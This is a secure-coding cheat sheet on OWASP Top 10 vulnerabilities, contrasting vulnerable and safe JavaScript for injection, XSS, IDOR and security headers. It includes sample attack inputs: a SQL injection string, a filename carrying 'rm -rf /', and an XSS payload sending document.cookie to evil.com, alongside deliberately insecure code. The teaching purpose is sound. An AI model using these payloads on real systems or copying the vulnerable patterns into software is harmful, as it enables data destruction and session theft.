OWASP Top 10 & Common Vulnerabilities
OWASP Top 10 & Common Vulnerabilities 1. Injection (SQL, Command, LDAP) // VULNERABLE — SQL injection const query = `SELECT * FROM users WHERE email = '${email}…
OWASP Top 10 & Common Vulnerabilities
1. Injection (SQL, Command, LDAP)
// VULNERABLE — SQL injection
const query = `SELECT * FROM users WHERE email = '${email}'`;
// Input: ' OR '1'='1 → returns all users
// SAFE — parameterized queries
const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);
// ORMs (Prisma, TypeORM) are parameterized by default
// VULNERABLE — command injection
exec(`convert ${filename} output.jpg`);
// Input: file.jpg; rm -rf /
// SAFE — avoid shell, use arrays
execFile('convert', [filename, 'output.jpg']);2. XSS (Cross-Site Scripting)
// VULNERABLE — rendering user input as HTML
element.innerHTML = userInput;
// Input: <script>fetch('evil.com?cookie='+document.cookie)</script>
// SAFE — use textContent or escape
element.textContent = userInput; // no HTML interpretation
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput); // sanitize rich HTML
// React is safe by default — JSX escapes values
// {userInput} is safe; dangerouslySetInnerHTML is not
// CSP header — prevent inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'
// HttpOnly cookie — JS can't access it
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict3. Broken Authentication
Use bcrypt/argon2 for passwords — never SHA1, MD5, or plaintext
Enforce minimum password length (8+), breached password check (HaveIBeenPwned API)
Rate limit login attempts — lock after 10 failures per minute
Short-lived JWTs (15 min), rotate refresh tokens on use
Implement MFA for sensitive operations
Generic error messages — "Invalid email or password" (don't confirm which is wrong)
4. Insecure Direct Object References (IDOR)
// VULNERABLE — any user can access any order
GET /orders/12345
const order = await db.orders.findById(orderId);
return order;
// SAFE — verify ownership
const order = await db.orders.findFirst({
where: { id: orderId, userId: currentUser.id } // check ownership
});
if (!order) throw new ForbiddenError();5. Security Misconfiguration
Disable debug mode, stack traces, and GraphQL introspection in production
Use HTTPS everywhere; HSTS header; no mixed content
Remove unused dependencies, endpoints, and sample code
Never commit secrets — use environment variables or secret managers
Security Headers
# Essential HTTP security headers
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
# CORS
Access-Control-Allow-Origin: https://myapp.com # never * for authenticated APIs
Access-Control-Allow-Credentials: true
# Use helmet (Node.js)
import helmet from 'helmet';
app.use(helmet());